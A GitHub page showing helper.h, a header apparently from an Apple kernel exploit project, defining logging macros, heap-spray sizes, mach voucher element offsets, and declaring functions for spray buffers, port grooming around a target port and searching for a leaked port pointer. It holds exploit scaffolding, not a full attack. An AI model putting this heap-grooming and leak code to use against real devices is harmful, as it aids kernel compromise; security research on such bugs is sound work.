-
Notifications
You must be signed in to change notification settings - Fork 0
/
helper.h
46 lines (34 loc) · 1.45 KB
/
helper.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#ifndef HELPER_H
#define HELPER_H
#include <stdio.h>
#include <stdlib.h>
#include <Foundation/Foundation.h>
#define LOG_LOG(tag, fmt, ...) NSLog((@"[%c] %s: " fmt), tag, __func__, ##__VA_ARGS__); fflush(stderr)
#define ERROR_LOG(fmt, ...) LOG_LOG('!', fmt, ##__VA_ARGS__)
#define INFO_LOG(fmt, ...) LOG_LOG('+', fmt, ##__VA_ARGS__)
#ifdef DEBUG
#define DEBUG_LOG(fmt, ...) LOG_LOG('+', fmt, ##__VA_ARGS__)
#else
#define DEBUG_LOG(fmt, ...)
#endif
#define SECOND 1
#define E_SIZE_OFFSET 0x4
#define E_CONTENT_OFFSET 0x20
#define E_CONTENT_RECIPE_OFFSET 0x10
#define E_SIZE_SPRAY 0x800
#define SPRAY_ZONE 256
#define USER_DATA_ELEM_HDR_SIZE 32 // sizeof(struct user_data_value_element)
#define CONTENT_SIZE (SPRAY_ZONE - USER_DATA_ELEM_HDR_SIZE)
#define ELEM_SIZE (CONTENT_SIZE + USER_DATA_ELEM_HDR_SIZE)
#define UNCORRUPTED_RECIPE_SIZE (CONTENT_SIZE + sizeof(mach_voucher_attr_recipe_data_t))
#define N_BEFORE_PORTS 4
#define N_AFTER_PORTS 4
void hexdump(const void* data, size_t size);
void prepare_spray_buf(uint8_t ***buf, size_t *buf_len, size_t spray_size, uint32_t e_size);
size_t identify_overlapping_sock(uint8_t *buf, size_t offset);
int prepare_ports(mach_port_t **before_ports, mach_port_t **after_ports,
mach_port_t *target_port);
int destroy_ports(mach_port_t *before_ports, mach_port_t *after_ports,
mach_port_t target_port);
uintptr_t search_for_port_pointer_leak(uint8_t *buf);
#endif